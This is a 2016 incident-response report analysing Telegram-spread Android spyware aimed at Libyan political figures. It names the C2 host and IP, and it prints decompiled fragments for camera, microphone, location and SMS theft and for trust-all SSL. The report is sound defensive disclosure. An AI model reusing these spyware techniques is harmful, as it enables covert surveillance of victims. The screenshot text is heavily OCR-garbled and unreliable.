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Executive Summary

Libya maybe known in non-stable political system, civil war and militant groups fighting for the land and oil
control but it is definitely not known in cyber malicious activities, cyber espionage and hacking groups. No
parties in Libya before this analysis reported to use cyber attacks, malwares nor recruit hackers to spy on their
rivals. Today we have a different story.

In the past weeks on 6 August 2016, Cyberkov Security Incident Response Team (CSIRT) received a numerous
Android malwares operating in different areas in Libya especially in Tripoli and Benghazi.

The malware spreads very fast using Telegram messenger application in smartphones, targeting high-profile
Libyan influential and political figures.

The malware first discovery was after a highly Libyan influential Telegram account compromised via web
Telegram using IP address from Spain.

The following day, the attackers spread an Android malware binded with legitimate Android application from
the compromised Telegram account to all his contacts pretending it is an important voice message (misspelled
it by “Voice Massege.apk”) which indicates a non-english (maybe an Arabic) attacker.

After spreading the malware, more Android smartphones has been infected using the same technique (via
Telegram) and then repost the malware again and again making a network of victims.

Analysis of this incident led us to believe that this operation and the group behind it which we call Libyan
Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group
whose main objective is intelligence gathering, spying on influentials and political figures and operate an
espionage campaign within Libya.

Also, the analysis of the incident led to the discovery of multiple malwares targeting Android and Windows
machines.

Libyan Scorpions threat actors used a set of methods to hide and operate their malwares. They appear not to
have highly technical skills but a good social engineering and phishing tricks. The threat actors are not
particularly sophisticated, but it is well-understood that such attacks don’t need to be sophisticated in order
to be effective.

, , Using malwares as weapon in an active warzone such as Libya, make , ,
the victims easy targets for assassination or kidnapping by tracking
their physical locations and monitoring them day and night.
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Tactics, Techniques and Procedures (TTPs)

Libyan Scorpions is believed to be a political motivated group targeting a high-level influential and political
figures in multiple cities within Libya.

Libyan Scorpions first compromised a personal Telegram account for a Libyan influential person with

unknown vector. The victim received a push notification from his Telegram app that someone from Spain is
logged into his account:

Cchats  +21c NN

last seen recently

Add Contact Report Spam @
(ES (IP = 4/.60.T20.27T71 :as4l1

cladll ediSas (Jsanall Jaw oo T 55 ol 5]
Sy GIS e g yadl M‘::QIJIAC);U
13) onSshain 38ail) Jaads eliSay LS . gAY

g 1 0] gl i s iy

%
Pyl Jae 3sd
The victim mistakenly deleted Telegram application from his phone thinking that this is going to stop the

attacker(s).

Second day, the attacker used the victim phone number to spear phish his contacts in Telegram by pretending
that the real person is sending a voice message while the file is actually a malicious APK (Android Package) file.

pogs fal

Forwarded Message
From: Lal

Q| Voice Massege.apk

elify peacs of Lalily ¢ UasU
@ 0

This APK file targets only Android-based smartphones. Once the new victim click on the APK file, the
application installs itself in the device without any problem and is fully functional. The icon of the application
appears in the Apps menu named (URL Shortener).
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Genymotion for personal use - Google Nexus 5 - 4.4.4 - AP| 19 - 1080x1920.. @ @ @
=
T4 H1235 g

WIDGETS ere

. B @ =

Settings Superuser Telegram URL

Shortener
@ ,

Voice Dialer  Yandex.Store

The real malicious code is running in the background as Android service?.

Genymotion for personal use - Google Nexus 5 - 4.4.4- AP| 19 - 1080x1920.. @ @ © Genymotion for personal use - Google Nexus 5 - 4.4.4- AP119 - 1080x1920.. @ @ ©
= 3
1D T4 H12:36 g 1D a4l @12:36 g

Apps SHOW CACHED PROCESSES < (* Running app

o] Q
RUNNING I H URL Shertener 8.4MB

. 1 process and 1 service 21:18:02
Settings
1 process and 0 services SERVICES

i H URL Shortener 8.4MB I H MainService 21:18:02
1 process and 1 service 21:17:58 Started by app.

Yandex Stor - This service was started by its app.
’ ReELSieE £ Stopping it may cause the app to fail.
A 1 process and 1 service 21:50:33

Telegram 17MB Stop
1 process and 1 service 21:49:36
S PROCESSES

A Android Keyboard (AOSP) 78vie URL Shortener 8 AMB

1 process and 1 service 22:22:47 de keineantwort.android.urlshortener

Main process in use.

! https://developer.android.com/guide/components/services.html
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Malware Analysis

Cyberkov Security Incident Response Team (CSIRT) started analyzing the APK file (malware) and the first step
was to unpack it.

root@Cyberkov: ~/voicemessage/Voice Massege — Konsole o ® O
File Edit View Bookmarks Settings Help

media/sf_shared/Volce Massege.apk

H o HH H HHHH A

androidManifest. xnl apktool.yml

Voice Massege : bash

After unpacking with apktool and reading (AndroidManifest.xml) file, it appears that the application is a
malware injected inside a legitimate application having java package name:
de.keineantwort.android.urlshortener.
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AndroidManifest.xml (~/voicemessage/Voice Massege) - VIM — Konsole o e &
File Edit View Bookmarks Settings Help

=activity android
<intent-filt
android:name
android: name

<activity android:name="".Edit5
=intent-filt
android: name
android: name

ng.INSTALL_REFERRER

ain.HainService'>

Voice Massege : vim

Searching for the application in Google Play store with that specific package name
(https://play.google.com/store/apps/details?id=de.keineantwort.android.urlshortener) yields:

P URL Shortener - And \ ar

=]
e

URL Shortener - Android Apps on Google Play

& k) ¥ 4 ¥

2] el
|URL Shortener]|
” TOO!S L2 & & ¢ 285 &
i Games
Family

Editors’ Choice

Account

My Play activity : = ol B 154
[URL Shortener S
My wishlist
Lieblings-Shortener I}

Redeem [

v o
Parent Guide : — | o

Kurzent bitly Direktes Kirzen

bitly Einstellungen
I | bily login

Jmp

bit.ly apiKey

tinyurl.com

£00.8) properties

s W R o o 5005
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The application exists in the store and the Libyan Scorpions hacking group took an instance of the APK and
injected their malware into that legitimate application to spread it.

The real application is created by keineantwort.de and we have verified it from their main website:

S
(] App: URL Shortener — -+
« | C I:l App: URL Shortener — keineantwort 8 % @ Ag +

kel nea n’[w 0 rt Android, Mobile Life und mehr.

APP: IST MEIN ZUG PUNKTLICH? APP: IBAN RECHNER APP: URL SHORTENER IMPRESSUM

App: URL Shortener

Teile URLs. Mit jedem URL Shortener, den Du benutzen méchtest.
Zur Zeit werden folgende Shortener unterstitzt:

e is.gd

= goo.gl (mit und chne Authentifizierung)

a it b [ i e (mait usd abhno ADI Ko

Going back to (AndroidManifest.xml) file, the malware register itself as receiver of almost all intents and
request almost all permissions available in Android system!
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AndroidManifest.xml (~/voicemessage/Voice Massege) - VIM — Konsole e e O
File Edit View Bookmarks Settings Help

Voice Massege : vim

AndroidManifest.xml (~/voicemessage/Voice Massege) - VIM — Konsole o ® O

File Edit VYiew Bookmarks Settings Help

m

Voice Massege : v

Tel: +965 22445500 | Fax: +1 (888) 4333113 | Emai
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AndroidManifest.xml (~/voicemessage/Voice Massege) - VIM — Konsole e e O

File Edit View Bookmarks Settings Help
<uses-permissio 0i i

JHPLETED"
EAD_VOIC

. NFC";
.HOUNT_UNHOUNT_FILE
-HOUNT_FORHAT_FILESYS
.HODIFY_AUDIO_SETTINC
-HEDIA_CONTENT_CONTRO
-HANA 0C

android: i
android:name=""c roid. 1 aun ission.INSTALL SHOI
i issi TIVITY_INF0™,

Voice Massege : vim

The malware can access location, network state, battery status, Bluetooth, camera, capturing audio,
internet, ..., etc.

After launching the malicious application for the first time, it checks if the Android device is rooted or not
and if rooted, it asks for root permission.

Genymotion for personal use - Samsung Galaxy Note 3-4.3-AP118-108. @ @ @

13

! Superuser Request

URL Shortener is requesting Superuser
access.

Warning: If you do not understand this, you should
deny the request.

u URL Shortener

Developer Warning
android.permission. ACCESS_SUPERUSER
not declared in manifest.

@ This time only
Remember choice for 10 minutes

Remember choice forever

Allow

Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cy
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Carrying on the reverse engineering of the malware, we found a file called “config.json” which is a base64
encoded json file containing the configuration of the malware and its Command and Control (C2). The
characteristics of the malware (“a.txt” and “config.json” files) and the functionality of it is very similar to
JSocket and AlienSpy famous Android Remote Access Tools (RATSs).

root@Cyberkov: ~/voicemessage/Voice Massege/res/raw — Konsole e ® O
File Edit View Bookmarks 5Settings Help

REVMQVSUSTVEF¥
SXOSETULL 01 JTL

raw : bash

Decoding the “config.json” file using base64 decoder shows that the C2 hostname/domain is:
winmeif.myqg-see.com using the port 64631

Resolving the hostname gives: 41.208.110.46 which is a static Libyan IP address owned by Libya Telecom
and Technology Backbone.
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root@Cyberkov: ~/voicemessage/Voice Massege/res/raw — Konsole e ® O
File Edit View Bookmarks 5Settings Help

winmeif . my .com has address 4

Geolocation data from| IP2Location [Product: DB6, updated on 2016-8-1)

IP Address Country Region City

41.208.110.46

Tarabulus Tripoli

ISP Organization Latitude Longitude

Libya Telecom and Not Available 32.875190734863 13.187459945679
Technology Backbone

L.L Pool

Geolocation data frDProduct: APl real-time)

IP Address

£1.208.110.46 | Lib\fanl Not Available Not Available
ISP Organization Latitude Longitude
General Post and Libya Telecom and 25.0000 17.0000
Telecommunication Technology Backbone

Company (GPTC) L.L Pool

Going back to the domain/hostname used by the Libyan Scorpions hacking group, it appears that myq-
see.com is a dynamic DNS service open for the public.
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| myg-see.com DPSI D | +

¢/ myq-see.com DPSI DDNS @ k) g Ag L
~
£ s
{-0E6

Logon Welcome to myg-see.com

" - Create a user account or choose existing users below to begin
Registration -

NEW USER REGISTRATION
EMAIL ADDRESS
PASSWORD ©

PASSWORD
CONFIRM

FIRST NAME
LAST NAME

SECURITY

’ v
QUESTION. My first phone number.

ANSWER

CONFIRM YOU'RE
HUMAN ew Captcha

Scrolling down the web page, it is created by Q-See which is a company that sells cameras and it seems that
Q-See published this service to help their customers to connect to their IP cameras regardless of IP changes.

[ myg-see.com DPSI D! +
¢ myq-see.com DPSI DDNS 8w g Mg L

Create
Registration =

NEW USER REGISTRATION

EMAIL ADDRESS

PASSWORD (7]

PASSWORD
CONFIRM

FIRST NAME
LAST NAME

SECURITY

QUESTION. My first phone number. ¥

ANSWER

CONFIRM YOU'RE
HUMAN

Solve the problem above.
Submit || Reset

Already have an account? Click here to logon
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1-877-998-3440 FREE SHIPPING ON ALL ORDERS* - ACCOUNT v

Qsee PRODUCTS  TECHNOLOGY  SUPPORT Q \.[_.l

e

Security Systems t; |
Made for You. ‘

Q-See delivers the high quality security
systems and smart notifications to turn
homes into your fortress.

SHOP NOW ‘ >

The malware uses RootTools and RootShell components to make root privileged tasks easy in Android.

jadx-gui - classes.dex [— < ]

File View MNavigation Tools Help

BlH £ 4 oo 5 =5 &
v o classes.dex

¥ @ Source code

» Ha
= 3 android.annotation
» 1 b
= i1 c
¥ £ com
» £ admob.android.ads
£ google.app

¥ =2 stericson

» 1 RootShell
» i RootTools
» 1 de.keineantwort.android

» 1 org
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The picture below showing that the malware is capable of taking pictures from the camera of the
compromised device and upload it to the C2.

jadx-gui - classes.dex (— O ]
Eile View Navigation Tools Help

S BE Bd A4 oo & H O#

» @ TurnOnReciver .

A  © com.google.app.MainActivity £ G com.google.app.options.aaay ¢ | G com.google.app.options.aaax X 4,

» © aaas :
v & options package com.google.app.options; =
" gCamera\flew import android.hardware.Camera;
s daac import android.hardware.Camera.PictureCallback;
» O aaad import android.media.AudicManager;
» (3 aaaf import android.util.Log;
» @ aaal import c.aaal;
» aaan 1
. g * compiled from: bb *
gass | [class aaax implements Picturecallback { |
» © aaav final /* synthetic */ Cameraview L;
[C) aaay 188 /* synthetic */ aaax(CameraView argo) {
» @ ActivityPermi 190 this.l = argo;
» ® MainActivity ¥
> © aaac 238 public /* synthetic */ void|onPictureTaken(pytel]l argd, Camera argl) {
» © aaad 240 if (arg != null) {
» & aaaf 51 this.l.w.stopPreview(]);
» © aaal 142 this.l.c = false;
» & aaan 235 this{.L.w.release();
try
-6 2 235 System.gc();
> © aaas 197 Log.i(aaal.y("EXeVE\UBD17) \UOBLEL " \uOD02*" ), aaal.y(" (\UDOLCCES\UOO17X\UOD1AG)
» © aaav 589 Log.1(aaal.y(",\u000B5\u0EOE0YWWOO11" ), argO.length + "");
» O aaax 588 System.gec();
» © aaay 431 new Thread(new aaan(this, arg@)).start();
v [ stericson oo System.gc(); . . ) .
v RootShell S67 (({audioManager) this.l.getSystemService(aaal.y("&\r#\bl"))).setRingerMode(2);
£ Rool E,'l T catch (Exception e] {
» £ containers 564 e.printStackTrace();
» f exceptions
» 5 execution 501 this.l.finish();
» ® RootShell . ot .

The malware begins by implementing a Trust Manager that accepts all certificates so that Libyan Scorpions
hackers are sure no victim left disconnected due to SSL certificates issues.

jadx-gui - classes.dex (-} O.
File View Mavigation Tools Help
L BE B s o G B P

le.
v & google.app @ac A & com.google.app.options.CameraView £ © com.google.app.b.aaay X @ com.google.app.b.aaas X ..

v #Ha
» @ azac package com.goegle.app.b;
v © aaas import b.aaab;
> © aaay import java.security.cert.CertificateException;
v b import java.security.cert.XSo9Certificate;
» © aaac import javax.net.ssl.XS09TrustManager;
» @ aaal )
L -Caas o o
daas P T
el public final class aaasl implements XSDQTPuStManaqer‘l{
alaay 78 public /+* synthetic */ X509Certificate[] getfcceptedIssuers() {
v & main 79 return null;
= © MainService

» @ TurnOnReciver

» 3 aaas 194 public /* synthetic */ woid|checkclientTrusted|XSogcertificate[] argo, String argl) throws ¢
¥ i options 195 throw new UnsupportedOperatlionException(aaab.y("\"B\U0002)\U00L7%k UOOOOAY LOD1EDY UODOSLYL
}

» @ CameraView
» © aaac 251 public /+ synthetic */ vuidSOQCertiflcate[] x509CertificateArr, String
» © aaad }
» (3 aaaf I
» © aaal
» (3 aaan
= © aaas
» © aaav
» (3} aaax
» O aaay
» @ ActivityPermi
» @ MainActivity
» @ aaac
» O aaad
» O aaaf
» @ aaal
<« I - | >
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Hunting Libyan Scorpions

The malware is able to turn the Android phone into a remote listening bug by opening the Microphone and

recording the audio then send it to the C2.

File View Navigation Tools Help
By B8 A O G

» (3 aaax 4
» © aaay
v @c g1
oL
50
» @ aaal s
» G aaas 231
» (G aaay 70
v & com 51
» {3 admob.android.ads 248
¥ f# google.app :5
v H#a a3
» O aaac
» O aaas
» @ aaay 160
v #b
» O aaac l?é
» © aaal 43
» @ aaas 203
» O aaay
v & main 20
» @ MainService ig
» @ TurnOnReciver
» © aaas o
v f options o2
» @ CameraView 101
» O aaac =)
» ® aaad =
» @ aaaf 165
» O aaal
» (3 aaan
» © aaas .

jadx-gui - classes.dex (IO <]

o

iy X O com.google.app.a.aaas X © com.google.app.a.aaac X @G caaay K @casas X | © caaac X |4,

this = this; *

this.w = 15;
Log.elaaao.y("crh_INt"), "*);

this.b = argl;
this.y = AudioRecord.getMinBufferSize(this.x, argo, this.m);
this.o = new AudioRecord(l, this.x, arg®, this.m, this.y);
this.o.setPositionNotificationPeriod(512)
this.o.setRecordPositionUpdatelistener (this);
this.h = new Thread(new aaay(]];
this.t = Talse;
this.h.start();
e
public /* synthetic */ void e() {
try {
if (this.o.getState(] == 0) {
this.o.release();
this.o = null;
return;
ki
this.l = new byte[this.v]:
this.o.startRecording();
aaac this = this;
while (!this.f) {
int read = this.o.read(this.l, 0, this.y);
Object obj = new bytelreadl;
System.arraycopy(this.l, 0, obj, ©, read);
this.p.add(ebj);
this = this;
i
this.o.stop();
} catch (ThrowabTe th] {
1
i
1 v

The malware is able to browse the files and folders stored inside the Android device.

Eile View Navigation Tools Help
By Bd AL S

» O aaae b
» O aaaf L&
» © aaah
» @ aaal
» @ aaam
» (3 aaan
» @ aaao
» (3 aaaq
» @ aaas =3
237
» (3 aaat 595
» O aaav
» (3 aaax 25
» © aaay Ej
v Hc
» © aaac o
» @ aaal o2
» (3 aaas
» (G aaay 32
¥ 3 com gé
» {3 admob.android.ads 10
v i google.app 111
v Ha 163
» @ aaac 163
» © aaas 1§
» @ aaay
v @b 163
» O aaac 154
» © aaal 43
» @ aaas 143
» O aaay -

jadx-gui - classes.dex (- <]

E &

Glbasaq X Obasas X Gbasat X Obasav X | Obasaw X | Gbasax X Obasay X ..
import org.]son2.JSONObject; &

/* compiled from: ab */

public final class aaaw extends Thread {
private final /* synthetic */ ObjectOutputStream 1;
private final /* synthetic */ JSOMCbject o;

public /* synthetic */ woid run{) {
File file = new File(this.o.getStringlaaab.y("6~;r)a"))]);
if (file.isDirectory()) {
Object[] listFiles;
Object[] objarr;
if (this.o.getBoolean(aaay.y("\u001ak\uo003]\u0O19nY fa\uooooeyrb ) )] {
listFiles = file.listFiles(new aaaql));
objArr = listFiles;
I else {
listFiles = file.listFiles(new aaax());
objArr = listFiles;

Arrays.sort(listFiles, new aaan());
if (objarr '= null) {
JSONObject JSONObject = new JSOMObject();
JSOMObject.put{aaab.y("w? | wy 1), 2);
Object JSONArray = new JSONArray();
if (objarr.length = o) {
int length = objarr.length;
int i = 0;
int 12 = ©;
while (1 < length) {
file = objarrliz]
Object jSONObjectZ = new JSOMObject();
jsoMobject2.putlaaay.y("\nkiuoolzt"), file.getMame());
jSOMObject2.put(aaab.y("r%a"), file.isDirectory());
jSoMobject2.put(aaay.y (" \uooookyuoooht"), file.lastMedified());

Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com




17| Hunting Libyan Scorpions

The malware is able to monitor the physical location of the compromised Android device.

jadx-gui - classes.dex [- O <]
File View Mavigation Tools Help

B E 58 4 o G B F

» & agaf .

> @ aaafb @ a.aaap ¢ | (laasaak X Gaaaakb X | @ aasal X O aasalb X Claaaam K Ciaasamb X €.,
» G asag package a;

» © asagh import android.location.Location;

» @ aaah import android.location.lLocationListener;

» G aaahb import android.os.Bundle;

» @ azai import android.util.Log;

» G aaaib

. * compiled from: r */

2 () aaa i]_ass .aaa]b impLlements LocatlonLlstenerl{

N i oo
» (R asak
» (G aaakb S public /* synthetic */ weid onProviderEnabled(String str] {
» & aaal }
» ® aaalb
» & aaam
» & aaamb
» (3 asan
» @ aaanb jlolo] public /* synthetic =‘=,.f|vuid onLocationchanged(Lecation argD)l{
» @ aaao 101 Log.1(aaau.y("\u0003, \uOO164UDD02; ) 4 UOO10 \uDO1S/\u0016&\UODLT $\u001d%\u001c" ), argo.get

5 ©) el 133 . new Thread(new aaarb(this, arg0)).startl);

75 private /* synthetic */ aaajblaaabb argo) {
75 this.1 = arg0;
I

» @ aaap
» @ aaag 186 public /* synthetic */ woid onProviderDisabled(String strl {
» @ aaagb }

» (G agar

» @& aaarb 183 public /* synthetic */ woid onStatusChanged(String arg0, int argl, Bundle arg2) {
» G aaas 28 Log.e(aaau.y(";\uODDe7\UOOOEE \ \UBOOE\UOO1d- L UOB19) \UBB13+" ), arg0d);

» © aaasb } y

» © aaat
» © aaatb
» O aaau
» (3 azaub "
7 s | v

The malware is able to get the call logs along with phone numbers, duration and date and time of each call.

jadx-gui - classes.dex e ® 0
Eile View Navigation Tools Help
S = BT = S A SO G = A= B v B
» (3 agaf “

K | Gaaaafb X | Glaaasag X | ©aasagb X Glaassh X | @aasaahb X @aaaai X Gaaasab X ..
o

» @ aaag final /* synthetic */ ObjectOutputStream o}
» © aaagh 153 /* synthetic */ aaafb(Context argo, ObjectoutputStream argl) {
» G aaah 154 this.1 = arge;
» (3 aaahb 164 this.o = argl;
» (3 aaai t
» (3 aaaib . .
» @ 2aa) 212 public /* synthetic */ weid runi) {
' @ i 152 if (VERSION.SDK INT = 23 || this.l.checkPermission{aaal.y("vf\uo01c5\u0017.\u001ci \uod)

o) 176 |Cursor query = this.l.getContentResolver().query(Calls.CONTENT_URI, |new String[l{a
» G aaak =] JTSONOGject JSONObject = new JSONODjectl];
» (3 aaakb 72 jSomobject.put(aaal.y("\u00047\ N2\ UOO015\UOD00" ), 3);
» (3 aaal 163 Object jSONArray = new JSONArray();
» ® aaalb 52 if (guegy.moveToFlrst()) {

o
Ld . -
G}aaamb 158 Object jSONObject2 = new JSONObject();
» @ 2aam 136 jsonchbject2.put(aaal.y("2uo000"), query.getString(query.getColumnIndex(aa
» (3 aaan 212 jSONObject2.put(aaal.y ("6 \U00122\u0002=,U0016" ], query.getStringlquery.get
» & aaanb 74 JSONObject2. put(aaal.y("+\U001S+\U0001" ), query.getInt(query.getColumnInde
» & aaa0 133 jSONObJectz.put(aaal.y("-<\u0012-'\u0006+\t4\n"), query.getlong(query.getcol
» ® aaaob 233 :!SONObJeth.put_(aaal._y(";\uOOOlf\uOOOl"), query.getlLong(query.getColumnInd
» @ aaa 233 JSONArray.put(jSONObject2);
P } while (query.moveToMext(]];

» @ aaaq 140 query.close();
» & aaagb try {
» (3 aaar 10 if (jsonArray.length() = o] {
» @ aaarb synchronized (this.o) {
» @ anas 144 ]1S0NObject.put{aaal.y (" \u0004=>\f7\uo017" ), JSONArray);
. ® b 5] this.o.writeObject(jsoncbject.tostring(])];

aaas 33 this.o.flush();
> O aaat 1
» (@ aaatb return;
» @ aaau I
» @ aaaub 5 N - v
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18 | Hunting Libyan Scorpions

The malware is able to read the SMS messages and the list of contacts saved in the device.

jadx-gui - classes.dex (- <]
Eile View Navigation Tools Help

i Ba & 44 S G £
v 73 classes.dex +

v @ Source code X Obasav X Obasaw X Gbasax X | Obasay X ©aasadb X (Gaasae ¥ Gaasseb X ..
A

v Ba r2.writetbject(r@); Catch:{ all -> Gx0638 }
» @ aama r8 =ri2.1; Catch:{ all -> Ox0638 }
r@. flush(); Catch:{ all -> 6xB638 }
> @ azab monitor-exit({rl); Catch:{ all -> OxG638 }
» © aaabb 1_6x6837:
» @ aaac return;
» @ aaach L_0xG638:
r@ = move-exception;
: g:z:gb .'no.'utor-exxt{rﬁj; _ Catc.‘“::{ all -> Ox0038 }
throw r@; Catch:{ Exception -> Gx063b }
» @ aaae 1 _@x083b:
» (3} asaf goto L_GxB637;
» & aaafb L_@x@83d: )
» @ aaag r7 = new or?.jso.'rZ.JSOf.'Obj ect;
r7.<init>();
-0 aaagb ré = "@o"jUrK";
» G aaah r@ = b.aaao.y(r@);
» (G aaahb rl o= 6;
» (3 aaai r7.put(ro, ri);
» @ aaaib ré = new org.json2.JSONArray;
X r8.<init={);
» O aagj re = rl2.o;
» @ aaap r@ = r@.getContentResolver();
» G aaak rl = android.provider.ContactsContract.Contacts. CONTENT_URI ;
» (3 aaakb r3=r2;
» (G aaal 2 S 28
» @ aaalb :2 - ':é’.a,,e,y{ﬂ r2, r3, rd, r5);
> G aaam rl =ré. Qet[‘ou.-rt{);
» @ aaamb if (rl <= 8) goto L_Gx611
» (3 aaan L_0x0066:
» ® aaanb rl =ré;
> ©) i L_6x0867:
« R —— i N movsfottex: 1) '

Besides, the malware is able to get the phone number, country and network operator name from cellular
towers of the telecom company of the target.

jadx-gui - classes.dex @ 0
Eile View Navigation Tools Help

SN == R A SR E NI - B RS

v 23 classes.dex

v 3 Source code %X @Gbasax 3 Obaaay X | ®asaadd X | Gaasae X Gaasaeb X Gaassf X Gaassalb X ..
.

v Ba 127 public /* synthetzc */ wvoid run() {
» (@ aaaa 237 if (VERSION._SDKJNT < 23 || this.o.checkPermission(aaad.y("-cla#a- 7{-tlgod#, - \tL\bR\
aaadb this;
» G aaad 36 TelephonyManager telephonyManager = (TelephonyManager) this.o.getSystemService(aaa
» © aaabb 134 JSONCbject jSONChbject = new JSOMChject();
» @ aaac 222 1SONObject put(aaay, y{"-wf vikvuyoolly"), 15);
» @ aaacb 222 I Object linelWumber = telephomyManager‘.getLlnelNumber();|
» @ asad 266 1t (LinelNumber = nulL] {
51 JSDNDb]ect.put(aaad.y(“P\mT\uOOL_aG\uOOll"), linelMumber);
85 Log.e(aaay.y("\rx\th\uo0lac"), linelNumber);
» (3 aaae 3
» (3 aaaeb a5 linelMumber = telephonyManager.getDeviceId();
» (& aaaf 253 if (linelMumber != null) {
» @ aaafb 22 JSDNOb]ect.puf(aaad.y(“D}uOOlSG\n“), linelNumber) ;
» @ anag 111 , Log.e(aaay.y("\rg\uo0lax"), linelhumber);
» © aaagb 111 | linelNumber = telephonyManager.getNetworkCountryIsc(),'|
» (3 aaah 193 T TReIMUmMber T= null] 1
» (3 aaahb 154 ]SONObject. put(aaad.y("\uOOO2\UOOO7WZLUOOO3 \UOOO7R\UO0OT G\ UOO1c@\U001bL\u000E
» @ anai 152 Log.e(aaay.y("pZ%\u0007q\uGOE2UN\UODOT }\uBE1an\uo01d1 \uoO11t\ueelbeyf~"), linel
. 1
: g:::}b 152 |linelNumber = telephcnyManager.getNetwcrkOperatur(),'|
: 263 1 TnelMumber = nulL] {
» @ aaajp 4 jSoMObject. put (aaad.y (" C\tY\UOO1bB\LOO1eC UOD1EA\LBELT [\ P, fMLOB11" ), linelhu
» (3 aaak 92 Log.elaaay.y("\uo0le{\u00041\ue0Lf 1 uOO1ed\UOD1 M\ UBOEE.\UOODS~\uBB18c" ), line
» (G aaakb 1
» @ asal &2 linelNumber = telephcnyManager.getNetwurkDperaturName(),'|
» @ aaalb &7 ampET—T= Mt {
» @ asam 53 jsonobject. put (aaad.y (" rH\LOD1S, UOD15L_\UOOOTRY UOBO3] Y tZ} b2\ uBC0OL Y, u D00, uoC
166 Log.e(aaay. y("a\u0015] H=\u0OO2u\LEEET q\ LOOOE] \UOEE7Z\LEEET F U001 1r\nk\UCO12t" )
» (& aaamb 1
» (3 aaan 166 linelnumber = telephonyManager.getSimOperator(]);
» @ aaanb 29 if (linelNumber != null) {
» © aaao . v
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The malware uses Allatori Java Obfuscator to protect the code and make it harder to reverse engineer and it
obviously uses communication protocol based on Java JSON objects encapsulated in SSL connection wrapper.
Again, this behavior and characteristics of the malware is very similar to JSocket and AlienSpy Android RATSs.

jadx-gui - classes.dex o6 &
File View Navigation Tools Help
I BE B A e G P

» @ aaat 4 o ‘ ‘
+ @ asath ® casal X © com.google.app.main.MainService X & com.google.app.options.aaad X & com.google.app.m . .
Y
.
. g;z:ﬂn 30 puhli:yl;‘ synthetic */ void run() {
» © aaav 154 1S0NObject jSONObject = new JSONObject();
» (G aaavb 264 JS0NObject.put (aaad. y (" \u0OO2Q\LOO12T\UOOLSL\UODDT7" ), 3);
» G asaw 36 jSONObject.put (aaac.y("PrXgZiKuk"), aaad.y('h3s"));
» @ aaawb 134 SsLSocket sSLSocket = (SSLSocket) asas.o.createSocket(this.h, this.b);
5 © gomm 231 sSLSocket.setTrafficClass(24);
231 sSLSocket.setkeepalive(true);
» @ asay 206 sSLSocket.setTcpMoDelay (true);
) aaayb 51 sSLSocket.setPerformancePreferences(o, 1, 2);
» © agaz 249 ObjectOutputStream objectOutputStream = new ObjectOutputStream(sSLSocket.getoutput
» & aaazb 102 ObjectInputStream objectInputStream = new ObjectInputStream(sSLSocket.getInputStre
» B android.annotation a5 objectOutputStream.writeObject(jSONObject.toString());
» HD a5 objectOutputStream. flush();
22 cbjectOutputStream.writeUTF(0O + aaad.y("\u0002") + aaas.l.getString(aaac.y("]clLilc
v #c 22 obhjectoutputstream. flush();
» @ aaac 210 Log.elaaad.y("F\uB000\uOE0bEDY rILu0003- \ tLaN\uo013L\u0e1fKyr" ), aaao.y("$\r7"));
e (orue) 1
» @& aaas 193 jSONCbject = new JSONObject((String) objectInputStream.readObject());
. Qaaay switch (jSONObject.getInt(aaad.y("\u00020\U00L2T\LOO1SL\LO007"))) {
case 1:
v & com ‘ 43 Log.elaaao.y("itMwl "), aaad.y('m"));
» & admob.android.ads 143 this.o = new aaac();
v £ google.app 161 this.o.y(jSONObject.getInt(aaso.y("NhRiZyC")), objectOutputStream);
» f2a break;
» @b case 2:
v & main 205 if (I:h1s|;o == null) {
= @ MainService ! LAt
» © TurnOnReciver 192 this.o.y();
» © aaas break;
» £ options default:
» @ ActivityPermi | break; .
» @ MainActivity v "

After finalizing the analysis of the Android malware, Cyberkov uploaded it to VirusTotal to see if it has been
uploaded before and what information we can get from it:

] total

SHAZ256: e66d795d0c832ad16381d433a13a2cb57ab097d90e9¢c73a1178a95132b1c0f70 $
Fil : Vi M k.

| 1le name: oice ESSBQE ap |

= @0 @O0

Analysis date: | 2016-08-07 09:32:00 UTC ( 0 minutes ago )

Detection ratio: 8

= Analysis File detall @ Additional information @ Comments I} Votes

Antivirus Result Update

AVG Android/G2P .KF.COABBBC5C5CE 20160807
AhnLab-V3 Android-Spyware/Androrat. 119be 20160806
Drweb Android. Spy.304.origin 20160807
ESET-NOD32 a variant of Android/Spy.Krysanec.G 20160806
Ikarus Trojan.AndroidOS . Krysanec 20160807
K7GW Spyware ( 004d9df51 ) 20160807
Kaspersky HEUR:Trojan.AndroidQS. Agent.ka 20160807
Sophos Andr/Krysanec-B 20160807
AlLYac ] 20160807
AVware ] 20160807
Ad-Aware (] 20160807
AegisLab (] 20160807
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200 Hunting Libyan Scorpions

Cyberkov discovered that the malware has not been uploaded to VirusTotal before and the first sample of
this malware has been uploaded by us. However, 8 out of 54 AntiVirus engines detect it which is a very low
detection rate (15%). Most and major American top Gartner Antivirus companies did not detect it!!

»3 Antivirus scan for e66.. x | &

"

i) @ | https://virustotal.com/en/file/e66d795d0c832ad16381d433al13a2cb57 Bl BCE®i & | |Q Sea
%1 Most Visited v JfllOffensive Security " Kali Linux “ Kali Docs "% Kali Tools Wy Aircrack-ng

L Community Statistics Documentation FAQ About ™ English n

Kingsoft V] 20160807
Malwarebytes (V] 20160807
McAfee (V] 20160807
McAfee-GW-Edition (V] 20160807
eScan o 20160807
Microsoft (V] 20160807
NANO-Antivirus o 20160807
Panda (V] 20160807
Qihoo-360 (V] 20160807
SUPERANtiSpyware V] 20160807
Symantec o 20160807
Tencent V] 20160807
TheHacker V] 20160806
TrendMicro V] 20160807
TrendMicro-HouseCall (V] 20160807
VBA32 (V] 20160805
VIPRE V] 20160807
ViRobot (V] 20160807
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Command and Control Communication

Cyberkov tried to discover the attacker behind this malicious application by sinkholing the malware and
analyzing the real C2.

Sinkhole
Cyberkov created a fake server simulating the real C2 of the Libyan Scorpions hacking group and sinkholed
the malware to study the behavior of the malware deeply.

Upon connection to the C2, the malware sends a lot of information about the target including: Country,
Malware Path, Local IP Address, RAM, Android Version, Device Name, ..., etc.

root@Cyberkov: ~/voicemessage/sinkhole — Konsole e ® &
File Edit View Bookmarks Settings Help

bin : java bin : java sinkhole : java sinkhole : bash
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The fake C2 server is able to send fake commands to the malware and read the reply as well.

root@Cyberkov: ~/voicemessage/sinkhole — Konsole o e O
File Edit View Bookmarks Settings Help

D*Kuwait", “pt-BR': "Kuwait®,*fr*:"Koweit", "en”: "Kuwait", 'ru [
‘oooon -’

